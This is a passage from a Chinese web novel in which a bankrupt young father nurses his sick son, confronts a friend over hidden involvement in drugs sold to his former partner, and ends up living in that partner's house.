怕雪团没饭吃让苏以安觉得自己亏待了他,谢不辞也没在外面闲逛太久,在别墅附近远远看两眼感慨一下就回了家。 到家以后先是像以前无数次给孩子冲奶粉一样,把雪团放在沙发上,谢不辞进厨房。 但这次好像又不太一样,一直听话懂事的孩子这会也不知道怎么了,给什么都不吃,还情绪很不稳定。 一会哭闹不止,一会又安静下来眼泪汪汪的抽泣着朝谢不辞喊爸爸。 问他怎么了,他也说不出什么。 就趴在谢不辞肩头蹭眼泪。 然后屋漏偏逢连夜雨,临到雪团平日里睡觉的点,谢不辞又发现孩子发起高烧。 明明在他们回家之前一切都是正常的。 没过几个小时,病得挺急的。 越是这样,谢不辞就越怕出事。 着急忙慌的把孩子送到了急诊,见值班医生是沈伊的那一刻,谢不辞好像看见了救命恩人一样。 他从来没觉得,沈伊这个人这么带光环过。 沈伊把孩子接过来先给量了体温,询问谢不辞情况的时候,手上给雪团抽血的动作也没停:“干嘛来着,孩子什么时候开始发烧的?” “我没给他吃什么,他前面都挺正常的,九点半左右忽然发高烧。” “相比这个我更想问,苏以安那种病……遗传吗?” 把孩子送过来这一路谢不辞一直都是担惊受怕的,小众疾病之所以是小众疾病,就说明没什么可能治好。 他是真的很害怕他的孩子也因为乱七八糟的病连活下来都很艰难。 沈伊没回答他,开了两张单子让谢不辞去缴费,交代着做检查的注意事项。 担心孩子不作假,谢不辞每个环节都跑得很认真仔细。 但回来的还是要对着沈伊继续问刚才的问题:“你快跟我讲到底传不传染啊。” “这种病没人研究,就是几乎没什么人得的意思。” “致病因素不明,传染途径不明,要是存在遗传的情况,早就被有心人人盯上,想尽办法打着研究的幌子骗钱了。” 沈伊给雪团打了退烧针,孩子被谢不辞平稳的抱着,已经迷迷糊糊睡着了。 为什么生病还要等进一步的检查结果出来才能知道。 半夜的急诊并不安静,连不少人输液的观察室都总有人说话,吵吵闹闹的。 今天晚上不太消停,谢不辞脑子里也乱乱的。 好在沈伊的话也给他留了一点心理安慰。 谢不辞打开手机,本想给他爸妈报个平安,顺便讲一下什么时候带雪团回老家一趟,结果刚按亮锁屏就看见了凌望的消息。 [你真的不好奇当初你要查是谁专门卖药要杀苏以安的时候,蒋泽在包庇谁吗。] 第75章 第 75 章 包庇这个词, 用得挺巧妙的。 但谢不辞看见这行字就开始头疼。 现在凌望的消息在他手机里就像个定时炸弹一样,好像只要对方发消息过来,他这边就一定会经历点什么不太开心的事情。 这是专门缠上他的厉鬼吧? 他深吸一口气, 咬牙切齿的敲字回复:[你要是有证据, 你说我也不是不能听着。] 这会沈伊拿着雪团的检查结果过来, 给谢不辞看了一眼。 “初步判断是有炎症, 你看血液里白细胞数量。” “哪里的炎症?” 沈伊沉默了几秒, 才叹了口气接话:“小孩子肠胃娇嫩,吃不了我们这专门消毒又特制的东西。” 这个特制的东西,指的是给苏以安准备的不能完全没有信息素附着的饭菜。 “……苏以安要是还不知道,那孩子生病的事情就别告诉他了。” 沈伊坐在谢不辞旁边,视线在雪团身上停留许久,才对着谢不辞开口询问:“你后面有什么打算?” 他要是不问,谢不辞还没有意识到, 他已经二十四了,他不是小孩了。 现在与他相关的所有人的指望都是他。 可是他什么都不会。 “你要是实在困难,雪团账户里收了不少压岁钱, 你不嫖不赌, 过后还的回去的话, 我觉得没人会怪你的。” 如果苏以安是暗示,那沈伊说到这份上,已经够明确了。 “我没沦落到要靠我儿子养活的地步。” 谢不辞没抬头,语气却异常坚定。 他一直都知道雪团的账户上有钱,有好大一笔钱。 但他再困难都不会起一丁点要动这笔钱的心思。 上边啃老的,下边啃小的, 废物成这样,他有什么脸活着? 问接下来要怎么做, 谢不辞也许说不出具体的打算来,因为没法放下发高烧的孩子打算工作。 好在,至少目前还没有追债的找上门来把刀架他脖子上。 后面沈伊和谢不辞各忙各的。 凌望确实给谢不辞发了不少东西。 这是他俩加上好友以来一次性说话最多的一次。 光是照片就有十几张,还有几份录音和文件。 有图有真相的。 在不质疑真实性的前提下,谢不辞真觉得这套操作搞下来,有点能唬人的架势。 而且这些东西都目的很明确的指向了……季文璟。 他高中就认识了,关系特别好还一直有联系的好兄弟。 谢不辞原以为,他看见这些的第一反应应该是觉得凌望像个神经病,什么破帽子都敢往他好哥们脑袋上扣。 但出乎意料的,谢不辞还挺平静的。 不知道是不是接二连三能把他雷得外焦里嫩的事情见太多了。 他把图片一张一张的仔细看完,录音也带上耳机听了一遍又一遍。 在蒋泽瞒着谢不辞的时候,他就做好了会是熟人,会很难处理,还很有可能会让他难接受的心理准备。 所以当凌望告诉他这个人可能是季文璟的时候,谢不辞反倒松了口气? 毕竟很熟的话,什么话都可以敞开了直接说。 他退掉聊天窗口,看了眼手机上的时间。 马上就天亮了。 焦虑着焦虑着就又到了城市苏醒的时间点。 他给季文璟打了电话,约好了等雪团最后一瓶液输完,就在他家见。 对方没问为什么,没再电话里多打听任何事情,只回应了他一个好字。 有事都等着见面说。 挺省心的。 沈伊在交班以后专门赶过来嘱咐谢不辞,肠胃还不太好的小孩辅食能吃什么不能吃什么,开的药要饭后多长时间才能给孩子喂之类的。 事无巨细。 谢不辞都一一记下。 给雪团交完检查费和医药费,谢不辞账户里剩下的那点钱,恨不得连三位数都得把各平台的钱搭一块才能凑出来。 雪团输完液就退烧得差不多了,回家路上睡得很沉,一直到谢不辞把他抱到原来那张专门给他准备的小床上都没醒。 随后谢不辞给蒋泽发了条消息,独自坐在阳台点了根烟。 折腾了一大圈,早就过了城市苏醒的时间,烟雾顺着开了个小缝的窗户飘出去,回馈了些透过玻璃照进来的零零散散的阳光。 许久没休息,头有些疼。 谢不辞的状态也算不上多好。 其实,卖苏以安假药的这个人,是他的熟人,蒋泽帮忙刻意隐瞒,凌望觉得这个时候告诉他可以伤害到他落井下石。 他就已经隐隐猜到了。 所有解释不通的地方,把季文璟的名字填进去,都能得到合理的回答。 可谢不辞不愿意相信季文璟可以做出这样的事情。 起码玩了这么多年,谢不辞不会怀疑他的人品。 所以这种话,谢不辞要亲口听他说。 燃尽了差不多三支烟,直到香烟苦涩的味道充斥口腔,谢不辞才听见按门铃的声音。 他深吸一口气揉了揉被他抓得像鸡窝一样的头发,沉默着把季文璟接进门,还专门沏了好茶去招待。 他没说话,季文璟却在他倒茶之前就抢先道:“不用麻烦了。” “你喊我过来,就说明你已经都知道了对吧?” “我了解你,你想听我亲口说。” 谢不辞形容不出来这会应该是什么心情,他手上动作没停,给季文璟倒了杯茶,也给自己倒了一杯。 “那你……说吧。” 在开口之前,他甚至已经做好了心理准备,觉得这些就算季文璟脱不开关系也没什么的,起码对方不是主谋,乱搞不是因为他就可以。 按照他以前的脾气,这会肯定冲上去拽着对方的衣领子质问了。 只不过现在他是孩子爸爸了,不管家里发生什么事情,都不能把还在生病的孩子吵醒。 “你觉得我们真的是这么多年的好兄弟吗。” “那不然呢?” 谢不辞回答得没有犹豫。 但一般情况下来讲,只要开场白用的是这句,后边要说的,基本不会有他爱听的。 可能……还得出现点颠覆认知的。 更或许,会伴随着,我把你当我最好的兄弟,你却背后捅我刀子的撕逼场面。 以前圈子里见了不少。 谢不辞当时还天真的以为,他只跟蒋泽季文璟两个人关系最好,绝对不会出现这样的事情。 “你有幸福的家庭,有绝对支持你惯着你的父母,有钱,也有人巴结着你。” 季文璟说着,还从茶几上拿了一根谢不辞刚随手扔在上面的烟点燃。 “所以呢,你还至于见不得我好?” 话题都引到这了,按照谢不辞的急脾气,见不得他卡在这停顿。 “那倒是不至于。” 季文璟低下头,不敢正面去看谢不辞的表情。 “很多时候,我都挺羡慕你的。” “我老早就看出你喜欢苏以安了,我也告诉过你,但是你不听不信,你说全世界的omega都死光了你也绝对不会跟苏以安凑合着过。” 家庭不幸福的孩子对周围人的情绪感知力就是会比普通人强一些。 同样的,这会让他们普遍难以开启新关系,分离焦虑,患得患失。 很长一段时间里,季文璟说什么,都要先谨小慎微的思考谢不辞听见会是什么想法。 “你不爱听,我就不说了。” “苏以安是有本事的,他也有正确的三观,小打小闹的从你身上给自己出口气,却从来没害过你。” 谢不辞没接话,等着他继续。 到这份上,就有点大结局要揭谜底的那个意思了。 “可是因为你这个态度,身边憎恨苏以安见不得苏以安好的人就越来越多。” “然后这个时候,我喜欢上了凌望。” “我知道凌望也不是什么好人,知道自己为了抓住什么,一定会走错路,我不辩解。” 他做什么谢不辞都不意外。 自季文璟频繁的出去留学开始,谢不辞就很清楚,他们的思想早就因为地域差异留下了无法跨越的鸿沟。 让谢不辞震惊的,是季文璟明明很清楚苏以安现在病成了什么样子,却还能将对别人造成的伤害,与自己犯下的错轻描淡写的带过。 “那你就可以这么理直气壮?” “你还想让我怎么心虚呢?” 谢不辞的话也不知道是那个字戳中了季文璟的痛点,他后面的话开始语气激动,连音量都拔高了不少。 “对,他得这个病,我确实占主要责任,但如果他现在就死,始作俑者难道不是你吗。” “他独自一人到A国去是在躲谁,孩子他可以自己一个人平白无故生下来吗,难道这个世界上omega的裤子会自己往下掉吗?” “你们滚到一起,是我下的药吗!” 谢不辞有点不知道该作何反应。 季文璟确实没干好事,但这锅不用对方甩,本身就应该是在谢不辞身上的。 “我再说句不好听的,苏以安要是现在死了,你就不是刽子手了吗。” 一句话,让谢不辞哑口无言。 他自己也明白,季文璟没有冤枉他。 他本身就不是什么好玩意,说到底,最对不起苏以安的,还是他谢不辞。 两人面对面沉默几秒以后,季文璟才又叹了口气,继续说道:“苏以安挺可怜的,我也没有一定要他死。” “你别忘了,最开始他还没成年的时候,见不得人的事情,是我爹最先做的。” “我爹见不得他活着。” 前几年,凌望需要小白鼠的时候,季文璟悄悄查过苏以安的行程。 也就仅仅只是查了一下而已。 但他爹做了什么,他都知道,有很大一部分的家庭原因让他不敢多说什么。 包庇与同犯,起码在季文璟心里没有任何区别,他就认为没必要跟谢不辞解释。 “你走吧。” 谢不辞起身,悄悄把门给季文璟开了一条缝:“雪团还睡着,小声一点。” 第76章 第 76 章 谢不辞已经感觉到了, 他和季文璟之间,很多东西都悄无声息的变了。 说不上到底是失望还是难过。 没有预料中的大吵大闹,没有质问。 挺体面的。 从季文璟过来, 到他们平静的谈论本应该争得面红耳赤, 或许还要拳脚相向的话题, 再到无话可说。 他们心里都清楚, 这次分别, 可能这辈子也就这样了。 不互相记恨,不会耿耿于怀。 多年以后再有人提起对方,也只会变成他们口中轻飘飘的一句—— “我们以前是很好的朋友。” 在屋里重新恢复安静的时候,谢不辞没再纠结这些有的没的。 事情也分轻重缓急,让苏以安生病的药沈伊已经拿到了,后续也不会因为走私黑药出现新的变故。 先放一放。 他打电话询问了一下之前他爸在处理公司事物的时候都遇上了什么,为什么会有那么多以前很交好的人叛变。 没有谁会一直站在顶端。 其实背地里, 见不得他们家好的多了去了。 谢不辞现在才设身处地的体验了一把,什么叫不落魄一次,不知道身边跟着的到底是人还是鬼。 在了解情况的这个过程里, 他听到了好多人在拿钟家那个苏以安的亲爹说事。 明明已经澄清过了, 对方被仇家捅死跟他们一点关系都没有, 但现在看起来,这件事似乎只是在他们家人眼里过去了而已。 谢不辞听见大家都像统一了口径一般,全都在用他爸当面一套背后一套,借刀杀人处理仇家来做文章。 这让他很难判断圈里人到底是真的这么想,还是只想无痛找个背锅的缘由。 反正把责任都推给他爸,造谣一张嘴。 既可以摆脱给自己带来的负面影响, 又没什么成本。 要让谢不辞选,他肯定也会找个这样冠冕堂皇的借口。 没有具体的计划要怎么把已经宣告破产的公司重新在做回来, 也拿不出什么钱来还债。 谢不辞揉了揉眉心,先是走进厨房看了一眼之前给雪团买的奶粉还剩多少。 孩子有很长一段时间跟着苏以安住,他家里提前存的很多适龄零食和磨牙棒之类的都还没开封,连带着不同牌子的奶粉也剩下了不少。 还行,目前来看还不至于苦了孩子。 谢不辞悄悄推开卧室门看了雪团一眼。 觉得孩子睡得很好,没有一丁点要醒来的迹象,谢不辞才飞速拿上外套跑下楼,给自己搬了箱超市特价的泡面过来。 以前他根本看不上方便面这种东西,现在真的需要靠这玩意续命了,才发现就算是特价的,也没便宜到哪去。 搬一箱就要他的积蓄小出血一次。 他没有在超市多做停留。 他家雪团自己在家,醒了要是知道家里没有人,就算不哭不闹,谢不辞也还是放心不下。 他原本计划着,让雪团再跟苏以安一段时间。 他没钱也没权势,可能还会被仇家跟着,雪团继续被他带没有好处。 但苏以安身体状况也挺差的。 他说不出口。 最近几天,就算变故发生了不少,表面上看上去也是相安无事的,就导致谢不辞没有太大的防备心。 满脑子要回家,雪团身边不能没有大人,谢不辞完全没注意到是不是有人在跟着他。 直到走到楼下单元门,他才隐隐听到身后传来急促的脚步声。 他刚回过头,就见有人一拳砸过来,把他扛着的方便面打到了地上。 没给谢不辞留反应的时间,对方紧接着就照着谢不辞脑门上又来了一拳。 两人瞬间扭打在一起。 在地上打了好几个滚,像小学生一样拳打脚踢还扒拉衣服揪头发的折腾的几轮以后,谢不辞才终于看清了是谁忽然冲过来打他。 于是脾气一上头,毫不客气的朝着对方肚子用尽力气来了一脚,从地上爬起来以后还不忘呸一口,骂骂咧咧道:“你他妈有病啊?” 老熟人了。 苏以安那个便宜大哥,钟漫川。 虽然他们接触得少,但谢不辞对他的印象差的离谱。 属于多看一眼都膈应的那类型。 “你要干啥?” 钟漫川来的时候没带刀。 以至于谢不辞摸不准他到底是因为什么要找他。 没有凶器,总不至于是过来跟他小学生式菜鸡互啄来的吧? 图啥啊?图菜鸡互啄还啄不过他? 钟漫川踉跄着从地上爬起来,站在原地面无表情的看了谢不辞好几秒。 就在谢不辞马上没有耐心继续跟他耗了的时候,对方忽然在他毫无防备情况下,结结实实的照他鼻子上来了一拳。 打的谢不辞两眼发黑,径直往后仰,整个人都跌在了地上。 不过好在有他刚买的那箱方便面做缓冲,除了钟漫川这一拳下手有点狠以外,他也没再收到二次伤害。 但等他揉着鼻子再睁开眼时,钟漫川已经捂着肚子像个虾米一样,弓着身子一瘸一拐的离开了谢不辞家楼下的这个单元门。 一句话没说,没带武器。 纯看不惯他想跟他干一架。 谢不辞有点无语。 回过头来,看见那给自己做缓冲的方便面箱子,已经被他压得变了形,甚至在刚才的摩擦中还破了两包,遗留了些碎渣在地上。 这一瞬间,他真的没忍住笑出了声。 人生,怎么可以这么抓马。 这还不如看他混得这么落魄故意过来语言奚落他一番呢。 起码他还能留一箱完整的方便面吃。 本来吃方便面就已经够可怜的了。 更可怜的是,还没吃上,就已经只能吃战损版了。 谢不辞叹了口气,认命一般把漏方便面渣的那口子捏住,连拖带拽的把那箱方便面拽上了电梯。 回家以后,雪团还没醒。 也算是有惊无险。 他放下东西,顺手抹了一把鼻血,进卫生间看了一眼自己被打成了什么样。 一边清理泥污一边骂:“这孙子,真够歹毒的。” “我起码是一脚丫子踢在了他肚子上,还回来这一下直接给我干毁容了。” 鼻梁这块肿了老高,脸上还有其他擦破皮的地方。 谢不辞拿冷毛巾随手擦了擦,然后颇有怨气的把毛巾扔回水池里。 “嘿嘿,又被断了一条财路。” 他原计划,如果实在混得不怎么样,连开公司的启动资金都拿不出来的话。 再没有身份,他也还有一张脸能拿得出手,多多少少也能挣出点钱来。 本来觉得走这条路的话,跟苏以安讲自己爱得还是他,会显得他又当又立,还没什么可信度。 现在就不用再有这种烦恼了。 因为根本去不了。 谢不辞抽空把家里乱七八糟的东西收拾了一下。 冰箱里还有青菜和西红柿,但因为他不怎么会自己做饭,也不记得是什么时候买的,总归状态不太好,看起来不太新鲜。 他按照经验挑了挑,然后留下了看起来卖相很好不缺水分的,等着给雪团做辅食用。 请不起保姆和育儿嫂以后,他就要开始全天形影不离的照顾孩子。 很忙,很累。 压力也很大。 谢不辞自从挂了他妈妈的那个电话以后,还没敢主动往家里打过一次电话。 混的不咋地,没有什么能力,他不好意思。 怕他爸妈对着他问问问。 但真的不联系,他又反过来担心如果他妈来主动联系他,是不是就说明他们老两口在老家那边也出了事。 谢不辞躺在床上,刚迷迷糊糊的有了困意,就被电话铃声吵醒。 是沈伊打开的。 他已经开始条件反射的看见电话就害怕了。 因为谁也没法保证,哪个电话一高兴就又给他带来点让他听见跟天塌了一样的噩耗。 他接起电话,那头沈伊的声音很轻快:“告诉你个好消息。” “我找到抑制病情的方法了,顺利的话,再观察几天就能放他出院了。” “哦还有,从目前的检查来看,孩子也挺健康的。” 谢不辞攥着手机的手都有些颤抖。 挺激动的吧。 至少苏以安那边,他可以稍微放心一些了。 “……谢谢。” 按理来讲,谢不辞跟苏以安没有任何关系,也实在算不上好朋友好搭档,甚至苏以安因为他生病,他都因为各种原因没给交上医药费。 沈伊还专门告诉他让他放心。 而且得到这消息,谢不辞的状态也好了不少。 雪团这次痊愈以后,没再像之前一样过分挑食,好养活了不是一星半点。 于是谢不辞开始带着孩子东奔西走的去了解情况,做市场评估拉投资之类的,想自己重新弄个公司出来。 过程挺艰难的。 每天都早出晚归,还没什么实质性的进展。 这样的日子过了三天,没等谢不辞觉得受打击,就来了新的打击他的消息—— 他爸生病住院了。 心脏问题,检查费很贵,确诊就几乎用掉了他们手里全部的钱,后续的治疗和住院都没有着落。 谢不辞他妈跟他说的时候,说的是让他抽时间来看看他爸爸,不是让他看能不能想办法搞到些住院钱。 他爸的原话也是,不希望再拖累他。 没有钱,就不治了。 然后谢不辞就推掉了之前好不容易排到的一个跟他们家还算相熟的老总档期,买了小绿皮的车票回老家。 带着儿子一起。 回去以后,他爸的检查结果他也看了。 看不懂,但严重。 挺让人破防的。 谢不辞抱着孩子在他老家外院篱笆墙底下坐了好久好久。 他原以为,他还有时间慢慢来的。 疾病不等人。 冬天没什么蚊虫,但是墙根底下很冷,雪团手机举着小树枝晃悠了半天,手都冻红了。 他拽了拽谢不辞的衣领,见谢不辞低头看向他,才开口询问:“爸爸,你也想爸爸了是不是?” 第77章 第 77 章 小孩子不明白的事情太多太多了。 但雪团聪明, 就算不特意跟他说,他我知道谢不辞他爸在生病。 他知道自己舍不得苏以安,分开的时间久了就会各种惦记着苏以安, 也大概能理解谢不辞现在是什么心情。 “挺想的。” “但是爸爸对爷爷表达想念的方式不一样, 爸爸得想办法挣钱, 想办法给爷爷看病。” 在这几天的奔波里, 说累也挺累的。 带个孩子并不轻松, 哪怕雪团已经比绝大多数孩子懂事了很多倍。 但他从来没觉得孩子是负担。 他知道他在往好的方向蜕变。 可他害怕等他具有能摆平一切能力的时候,就什么都来不及了。 他在家里住了两天。 他爸大多数时间都是睡着的,脸色显得异常青白,他妈也变得沉默寡言。 谢不辞是在半夜带着孩子买车票离开的。 他在手机聊天框里编辑了要发给他妈的消息,斟酌了许久。 没有道别。 亲人之间不需要道别。 就怕一别是永远。 直到坐上了离开家的火车,谢不辞才敢给他妈妈发微信简单的说一句他先走了。 但他妈妈秒回:[虽然年后了,但是天不暖和, 在外面打拼注意身体,爸妈还没到需要你给养老的时候呢,不用觉得不服, 不用觉得对不起谁, 这一切都跟你没有关系, 不是你造成的。] 这几行字就看得谢不辞眼眶酸涩。 谢夫人又继续敲字过来:[实在累了,就回老家来,不愿意被麻烦缠上,就改个名字换个地方生活,只要你不觉得委屈,其实无论做什么, 薪资都不会很低。] 紧接着那对方正在输入就闪烁了好久。 谢不辞不用想就知道,他妈妈是一边打字一边在抹眼泪。 就那种, 泪水滴在屏幕上,屏幕触控不灵敏,还会误触很多按键打出一串乱码的。 他妈妈以前给他发消息都是直接语音,很少打字,绝大多数都是电话交流。 因为发消息他基本不回。 不是去喝酒了就是喝大了还没醒。 她是不想让他听见抽泣声才打字。 这下谢不辞更破防了。 火车在深夜是很安静的,哪怕是硬座,也都三三两两的靠在一起睡觉。 大家活得都不容易。 谢不辞掏出手机,在蒋泽的聊天窗口纠结了好久,也说不出借钱这两个字来。 毕竟……季文璟那一茬刚出。 他说不清到底是不相信蒋泽还是不太想再失去一个最好最好的朋友。 夜深了。 之前糟心事太多没注意,现在这会手机也没什么电了。 十几个小时的长途火车。 选的硬座。 他都不敢想,要是让苏以安知道自己带着他儿子坐这么长时间的硬座小绿皮回去,苏以安得是什么反应。 回去这一趟,除掉来来回回的车费,谢不辞就已经艰难得只剩一百多块钱的积蓄了。 家里破产,他妈妈以前的那些奢侈品算是固定资产的一种,一样都不能带走。 而谢不辞还有房子住这一点,他知道不是竞争对手留了情面,却想不到还有谁愿意帮他这一把。 不过到了他家门口,谢不辞就大概知道答案了。 因为,门有被开过的痕迹。 他深吸一口气,一只手抱好雪团,腾出一只手来输门锁密码。 没在楼道里看见他自己的行李,他也不知道该不该松一口气。 要是连行李都没有就进不去门了,他才真的是天塌了。 不过好在,门锁密码还没被换掉,他还能打开门。 进屋没看见人的那一刻,谢不辞脑子里闪过了无数种可能,甚至连如果有带刀的冲出来他要怎么拿胳膊把雪团护住都想好了。 而且十几个小时的硬座,孩子这么小,能不闹腾的坐到回家已经很不容易了。 谢不辞能感觉到雪团心情也不好。 他先是在门口换上了拖鞋,听见身后卧室那边传来的开门声,他下意识的僵住了身子,然后强装淡定的完成了下一步动作。 “带孩子去哪了。” “起码三天没回来了吧?” 是苏以安的声音。 谢不辞还没思考好要做什么反应,雪团就已经先热情的从谢不辞怀里探出脑袋,朝苏以安伸出小手:“爸爸——” 苏以安把孩子接过来,没在乎谢不辞有没有回答他前面的问题:“吃饭了没有?” “……没。” “不是,我是说,没给冲奶粉但是零食在路上吃了点。” 苏以安轻车熟路的带着孩子进了厨房,抱着孩子烧水刷奶瓶根本不在话下。 谢不辞有些不知所措的站在厨房门口看向他。 里面的人注意到他的视线,反问道:“有话跟我说啊?” 苏以安把奶粉冲好以后,一转身就看见了谢不辞那箱被压扁了一半的方便面,他停顿了一秒,似乎是在思考要说什么,随后开口:“现在经济条件还挺好的啊谢哥。” 这称呼就很阴阳怪气。 但谢不辞并不觉得意外:“你要是想笑话我……” “我哪有你想的那么无聊。” “还能吃的起方便面,就说明还是有钱嘛。” 谢不辞有点听不明白:“那没钱应该吃什么?” 苏以安抬手,指了指调料台上的那半罐盐:“买个馒头沾点盐得了呗,有碳水有盐分的。” “去大街上逛,找那种犄角旮旯的馒头房,运气好的话,你没准还能在这个城市买到一块钱一个的馒头。” “沾点盐得了,别吃咸菜,腌萝卜那种咸菜十八一斤,也挺贵的。” 谢不辞沉默。 他很清楚,如果苏以安说得出这番话,就说明他真的穷苦到这份上过,都是经验之谈。 “你拿儿子钱去干嘛了能让你过得这么艰难?” 这话明明是质问,谢不辞却意外没想着偏激的反驳:“我没动儿子的钱。” 谢不辞他爸生病的事只有他妈和他知道,他连蒋泽都还没说。 在返程火车上,他也不是没思考过拿雪团的压岁钱来应应急。 但相对于这个,他更倾向于他自己去借贷款。 总不会把路走死的,只看他敢不敢赌这一把。 而看重病,再贵也贵不过他以前挥霍的那些。 “那你出去这么多天,干嘛去了?” “回了趟老家。” 谢不辞不想对苏以安多说,不想让对方看见他狼狈的样子,却又希望他们面对面相处的时间能再长一些。 他怕苏以安不知道什么时候就忽然病情恶化,也怕他们家老二会不会出点意外,就大人孩子一起走了。 哪里都需要钱。 谢不辞没敢算,估计如果细算的话,他能贷出来的钱,都不够给他爸应急看病。 “回老家挨打啊?” 闻言谢不辞心虚的揉了揉鼻子,支支吾吾道:“那不是回老家被打的……” “谁打的?” “嫉妒我长得好看的人打的呗。” 实话讲,说出来谢不辞自己也有点想笑,但alpha在老婆面前,面子大过天,这种事情就是不能开口! “你这人真有意思。” 谢不辞不知道他指什么,就跟在苏以安身后一起出了厨房。 他给手机充上电重新开机,然后看见了来自蒋泽的一大串未接电话。 消息也有不少,但他还没来得及细看,蒋泽的另一个新电话就拨了进来。 “你怎么关机这么长时间,不知道的还以为你也寻死觅活呢。” 蒋泽说这话的语气挺激动的。 凭借谢不辞多年跟他相处对他的了解来看,这就是没面对面,真线下约谈,蒋泽也得给他一拳。 不过他还是从刚才这句话里提取到了重点:“也?谁寻死觅活呢?” “哎呀你别管了。” “我去了趟你老家,给阿姨送了点现金过去,不管怎么说叔叔身体更要紧,先把病看好再说其他的。” “还有你也是,这么大的事不告诉我,还一下子失联将近一天,你要干啥啊。” 谢不辞一时语塞。 想跟蒋泽说句谢谢,但又觉得,按他们这个交情,会显得很别扭。 见他不说话,蒋泽又继续补充:“你在怪我没告诉你季文璟那个事情?” “我没有故意瞒着你,反倒是他跟我们关系这么好,接触了这么久,我们相信他的人品,才更不能乱听那些风言风语。” “我没有证据,我告诉你反倒像我在挑拨我们三个人之间的关系。” 道理谢不辞都明白。 “我没怪你。” 他只是怕最后一个能被他当成精神支柱一样的好朋友也会出现这样的变故。 就不敢联系,不敢把脆弱的一面展现给对方看。 “这次多谢你,后面我会想办法把钱还你的。” “少整没有用的,又没多少钱,你能好好的我就知足了。” 后面又客套了两句就挂断了电话。 谢不辞动作缓慢的放下手机,然后从卧室出去,走向客厅,斜靠在墙边看向正哄着孩子的苏以安。 雪团是想苏以安的。 虽然表面上很懂事没有哭闹,但他跟谢不辞待在一起的状态与跟苏以安凑在一块的状态完全不一样。 父母离婚最受苦的是孩子。 这课也算是给谢不辞上了。 他沉默的在墙边站了一会,直到苏以安重新把注意力放到他身上,才开口问:“你怎么在这啊?” “哦,还没来得及告诉你,这房子被法拍还债,现在是我的了。” “你要住给我交房租。” …… 苏以安原本不知道他家房子的密码,也没什么人知道他家密码。 从进门之前谢不辞就知道不对劲,只是现在才开始细问。 房子是谁的不太重要,现在谢不辞更应该关注的是:“房租多少?” “我包养你,房租水电都给你免了。” 第78章 第 78 章 谢不辞知道, 苏以安心里一直存着一口气,不愿意被他看不起,不愿意低他一头, 不愿意提起被包养。 所以他现在落魄, 对方没道理放过这么好的拿捏他的机会。 “行啊。” 他没拒绝。 因为很清楚同意了比拒绝更容易讨到老婆的好感。 “但是我不是合格小情人, 我做不好这份工作, 我不需要你给我钱。” 苏以安闻言轻蔑的回应:“你也配要钱啊?给你个窝睡对你够好的了。” “哦, 那好吧。” 在苏以安的思想里,虽然沈伊熬了好几个通宵,真的找出了能抑制病情发展让他出院的方法,但这算不得什么长久之计。 重病之人的思想就是这样的。 一会乐观的觉得人生是旷野,有的是美好的事物值得他亲自去探索,一会又认为没必要浪费医疗资源去苟延残喘。 苏以安在这世界上没什么亲人了,除了雪团也几乎没有牵挂。 而且现在雪团还小, 就算他真的离开了,孩子也可以用不了多长时间就忘掉他。 他唯一的执念就是谢不辞。 他得看得见谢不辞过得不好,看得见谢不辞是怎么糟心的。 如果运气好的话, 也许还能看见对方一蹶不振, 把他高中时期经历过的绝望全都变相经历一遍。 他要凑在谢不辞身边, 要确定谢不辞住在他名下的房子里,要体验一把位置对调的感觉。 才算他没白受曾经的委屈。 觉得应该说些什么让气氛显得不那么尴尬,于是谢不辞重新开口:“那个……你需要我什么时间待在家里?” “我后天早上约了银行的一个老总,中午还有个可以争取的客户要见一下,晚上……晚上得回我爸公司旧址一趟,不确定什么时候才能完事。” 后面谢不辞越说声音越小。 没干过小情人这种活, 也很难有什么拿得出手的素养和眼力见。 他俩之间可没有交情。 苏以安没道理去迁就他的时间。 但谢不辞他爸看病需要钱,把公司做回来让他们家不再被看不惯他们的人随便欺负也需要钱。 或许连带着的, 还需要很多很多时间。 “总统都没您忙吧,早出晚归的。” “随便一算,就满满一天都有安排了?” 谢不辞不知道该接什么,他这人没情商,按以前蒋泽教他的那一套看,他现在最能保命的方法就是闭嘴。 “回来还没吃饭是不是?” “嗯。” “那拿着你手里剩下那点钱外头吃去,天黑之前不许回来。” 虽然不理解他为什么这么说,但谢不辞还是哦了一声就照做。 他走到门口,摘下刚挂在衣架子上没有几分钟的大衣,悄悄回头看了一眼苏以安,见对方没什么反应,才迅速溜进厨房,做贼似的把调料盒里剩下的半袋盐封个口,揣进大衣口袋里。 然后在苏以安没看清他干了什么的时候,拉开大门就跑。 他出门以后没多久,苏以安就接到了方明之的电话。 他们俩打电话一向跟不太熟的似的,受国外礼仪熏陶,每次开头都得先客套一下:“出院这两天,你身体还好吧?” “还好,怎么这个时间打电话?” 方明之回A国有一段时间了,按这两个地方的时差来计算,他们这是白天,那边可能就是凌晨。 “不太放心你,大半夜的,脑子不太清晰,有点想不开。” 还没等苏以安问他想不开什么,他就率先继续:“特别想不开的觉得该劝劝你要不别跟谢不辞纠缠了。” “反正恶人自有恶人磨,你也看见他落魄了,要不就差不多得了呢?” “起码不要给自己找更多的麻烦了。” 苏以安这么聪明,道理绝对都看的明白。 可是他就是会钻牛角尖。 以前在趋利避害这方面他很听劝,偏偏这一次就无论如何都不愿意让步。 “我说我包养谢不辞。” 这话一出,苏以安就听见了方明之音量拔高了不少的回答:“你他妈疯了吧?!” “我挺清醒的。” 他原想说他知道自己在干什么,但稍微一寻思,觉得反正方明之也不信,不如不开口,还能保证对方不至于那么情绪不稳定。 “他以前把你害成什么样你都忘了吗?” “你包养他,他拿钱去创业,他再把公司做起来,要是记恨你,你怎么办?” “谢不辞这个人,但凡有一丁点良心,他都不至于这么对你。”‘ 男人嘴里说出来的,能有几句可信的。 “我没有要给他钱,我也不想帮他。” 以前人不怎么样,后面就能转性了吗。 谁不明白苏以安都不可能不清楚,江山易改本性难移。 但他这次见谢不辞的目的不是这个。 他本来在纠结要不要再让谢不辞无家可归见识一把社会险恶来着,结果见对方那么落魄的回来,他怕雪团账户里的钱也被谢不辞拿出去挥霍,一分不剩。 他之前始终认为,谢不辞现在能坚守底线,是因为还没被逼到绝路上。 现在听说了谢不辞他爸病重,蒋泽悄悄拿着现金去谢不辞老家帮他们家。 别的不说,苏以安自己经历了这么多,代入一下这种情况,也不太可能不动孩子卡里的这些钱。 他想不通。 所以在接方明之电话之前专门在手机上查了一下雪团账户的余额。 谢不辞没说谎,就是没动过。 一分不少,甚至还加了点利息。 “这不是你要不要帮他的问题。” “你手里有钱,你完全可以自己带着雪团过得很好。” “第二个孩子如果顺利的话,生下来你也不是养不起,你的孩子爱你。你知道的。” 苏以安没说话。 